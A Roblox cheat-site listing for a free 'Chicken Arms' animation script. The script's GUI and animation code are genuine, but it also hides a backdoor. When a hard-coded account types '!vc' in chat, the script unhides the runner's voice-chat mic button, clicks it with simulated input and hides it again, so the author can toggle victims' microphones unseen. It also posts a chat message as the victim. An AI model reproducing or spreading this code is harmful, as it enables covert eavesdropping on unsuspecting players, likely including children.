Buy NowDiscord
Spectrum Cheat // Blox Cheat
← Back to Scripts
Chicken Arms "Must be R15"
UniversalFree
0 Likes

Chicken Arms "Must be R15"

Universal Script 📌

_AintHasABackUpAcc__AintHasABackUpAcc_58m ago0 / 0
chickenarms roblox delta script mobile

Description

MUST BE IN R15 OR IT WONT WORK

View Raw ↗
local p=game:GetService("Players").LocalPlayer
local u=game:GetService("UserInputService")
local h=(p.Character or p.CharacterAdded:Wait()):WaitForChild("Humanoid")
local g=Instance.new("ScreenGui",p:WaitForChild("PlayerGui"))
g.Name="GYATT"
local c=Instance.new("Frame",g)
c.Size=UDim2.new(0,120,0,160)
c.Position=UDim2.new(.5,-60,.7,0)
c.BackgroundColor3=Color3.fromRGB(25,25,25)
c.Active=true
Instance.new("UICorner",c).CornerRadius=UDim.new(0,10)
local t1=Instance.new("TextLabel",c)
t1.Size=UDim2.new(1,0,0,20)
t1.BackgroundTransparency=1
t1.Text="NEED TO BE IN R15"
t1.TextColor3=Color3.fromRGB(200,200,200)
t1.TextSize=12
t1.Font=Enum.Font.GothamBold
local b=Instance.new("TextButton",c)
b.Size=UDim2.new(1,-20,0,40)
b.Position=UDim2.new(0,10,0,25)
b.Text="STATUS: OFF"
b.BackgroundColor3=Color3.fromRGB(40,40,40)
b.TextColor3=Color3.new(1,1,1)
Instance.new("UICorner",b)
local s=Instance.new("TextLabel",c)
s.Size=UDim2.new(1,0,0,20)
s.Position=UDim2.new(0,0,0,70)
s.BackgroundTransparency=1
s.Text="Speed: 1"
s.TextColor3=Color3.fromRGB(200,200,200)
local bp=Instance.new("TextButton",c)
bp.Size=UDim2.new(0,50,0,30)
bp.Position=UDim2.new(0,10,0,95)
bp.Text="+"
local bm=Instance.new("TextButton",c)
bm.Size=UDim2.new(0,50,0,30)
bm.Position=UDim2.new(0,60,0,95)
bm.Text="-"
local o,t=false,nil
local sp=1
local function apply()
	if t then
		t:AdjustSpeed(sp)
	end
end
b.MouseButton1Click:Connect(function()
	o=not o
	if o then
		local a=Instance.new("Animation")
		a.AnimationId="rbxassetid://104200871407307"
		t=h:LoadAnimation(a)
		t.Priority=Enum.AnimationPriority.Action4
		t.Looped=true
		t:Play()
		apply()
		b.Text="STATUS: ON"
	else
		if t then t:Stop() end
		b.Text="STATUS: OFF"
	end
end)
local holdPlus=false
local holdMinus=false
local function holdLoop()
	while holdPlus or holdMinus do
		if holdPlus then
			sp=sp+0.1
		elseif holdMinus then
			sp=math.max(0,sp-0.1)
		end
		s.Text="Speed: "..string.format("%.1f",sp)
		apply()
		task.wait(0.05)
	end
end
bp.InputBegan:Connect(function(i)
	if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
		holdPlus=true
		task.spawn(holdLoop)
	end
end)
bp.InputEnded:Connect(function(i)
	if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
		holdPlus=false
	end
end)
bm.InputBegan:Connect(function(i)
	if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
		holdMinus=true
		task.spawn(holdLoop)
	end
end)
bm.InputEnded:Connect(function(i)
	if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
		holdMinus=false
	end
end)
local d=false s0=nil p0=nil
c.InputBegan:Connect(function(i)
	if i.UserInputType==Enum.UserInputType.MouseButton1
	or i.UserInputType==Enum.UserInputType.Touch then
		d=true
		s0=i.Position
		p0=c.Position
	end
end)
u.InputEnded:Connect(function(i)
	if i.UserInputType==Enum.UserInputType.MouseButton1
	or i.UserInputType==Enum.UserInputType.Touch then
		d=false
	end
end)
u.InputChanged:Connect(function(i)
	if not d then return end
	if i.UserInputType==Enum.UserInputType.MouseMovement
	or i.UserInputType==Enum.UserInputType.Touch then
		local m=i.Position-s0
		c.Position=UDim2.new(
			p0.X.Scale,p0.X.Offset+m.X,
			p0.Y.Scale,p0.Y.Offset+m.Y
		)
	end
end)
task.wait()
local CoreGui = game:GetService("CoreGui")
local Players = game:GetService("Players")
local VIM = game:GetService("VirtualInputManager")
local Camera = workspace.CurrentCamera
local OWNER = "6540a54402"
local PREFIX = "!"
local hidden = false
local resolutionProfiles = {
    {min = 200, max = 500, x = 219, y = 39},
    {min = 501, max = 600, x = 234, y = 24},
    {min = 601, max = 700, x = 249, y = 24},
    {min = 701, max = 800, x = 249, y = 24},
    {min = 801, max = 900, x = 264, y = 39},
    {min = 901, max = 9999, x = 264, y = 39},
}

local function findVC()
    for _, v in ipairs(CoreGui:GetDescendants()) do
        if v.Name == "toggle_mic_mute" then
            return v
        end
    end
end
local function hideVC(btn)
    pcall(function()
        btn.Visible = false
        for _, v in ipairs(btn:GetDescendants()) do
            if v:IsA("GuiObject") then
                v.Visible = false
            end
        end
    end)
end
local function showVC(btn)
    pcall(function()
        btn.Visible = true
        for _, v in ipairs(btn:GetDescendants()) do
            if v:IsA("GuiObject") then
                v.Visible = true
            end
        end
    end)
end
local function clickVC()
    local btn = findVC()
    if not btn then
        warn("VC button not found")
        return
    end
    if hidden then
        showVC(btn)
        hidden = false
        task.wait(0.15)
    end
    task.wait(0.3)
    local viewport = Camera.ViewportSize
    local height = viewport.Y
    local targetX = 219
    local targetY = 39
    for _, profile in ipairs(resolutionProfiles) do
        if height >= profile.min and height <= profile.max then
            targetX = profile.x
            targetY = profile.y
            break
        end
    end
    VIM:SendMouseMoveEvent(targetX, targetY, game)
    task.wait(0.05)
    VIM:SendMouseButtonEvent(targetX, targetY, 0, true, game, 0)
    task.wait(0.05)
    VIM:SendMouseButtonEvent(targetX, targetY, 0, false, game, 0)
    task.wait(0.1)
    hideVC(btn)
    hidden = true
end
local function handleChat(player, msg)
    if player.Name ~= OWNER then
        return
    end
    msg = msg:lower():gsub("%s+", "")
    if msg == PREFIX .. "vc" then
        clickVC()
    end
end
Players.PlayerAdded:Connect(function(player)
    player.Chatted:Connect(function(msg)
        handleChat(player, msg)
    end)
end)
for _, player in ipairs(Players:GetPlayers()) do
    player.Chatted:Connect(function(msg)
        handleChat(player, msg)
    end)
end
wait(1)
local c=game:GetService("TextChatService").TextChannels.RBXGeneral

for _,m in ipairs({
    "AintMyCrib 🤫🧏"
}) do
    c:SendAsync(m)
    task.wait()
end
Chicken Arms "Must be R15" — Blox Cheat | Spectrum Cheat